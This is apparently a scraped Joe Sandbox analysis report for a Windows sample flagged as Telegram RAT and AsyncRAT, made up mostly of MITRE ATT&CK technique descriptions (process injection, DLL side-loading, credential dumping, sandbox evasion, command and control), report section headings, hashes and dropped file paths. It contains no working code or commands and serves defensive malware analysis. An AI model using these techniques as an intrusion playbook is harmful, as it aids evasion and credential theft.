Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: 0o#p$Dq#p$Lj#p$Lj#p
API String ID: 0-1950681123
Opcode ID: 22c47cc8bd1c7f41cdfaa0e82be557b9a2911f415b24eda880534ad3edd0bbf3
Instruction ID: 4aa91e22647106203acc0b860e0e6b2b4ef13d6f9e454dde61c079fb6a35fe12
Opcode Fuzzy Hash: 22c47cc8bd1c7f41cdfaa0e82be557b9a2911f415b24eda880534ad3edd0bbf3
Instruction Fuzzy Hash: 5E8164367002048FDB04EB79D458B6D77F6AF88714B2980A9E80AEB7A1DB35EC45CB50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cOH7jKmo25.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: AsyncRAT

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\91ebedfaf8cbe9fedf1e988f8aaaa9b7\msgid.dat

C:\Users\user\AppData\Local\Temp\places.raw

C:\Users\user\AppData\Local\Temp\tmpA6E7.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA707.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA728.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA729.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA739.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA74A.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA75A.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA77B.tmp.dat

Windows Analysis Report
cOH7jKmo25.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre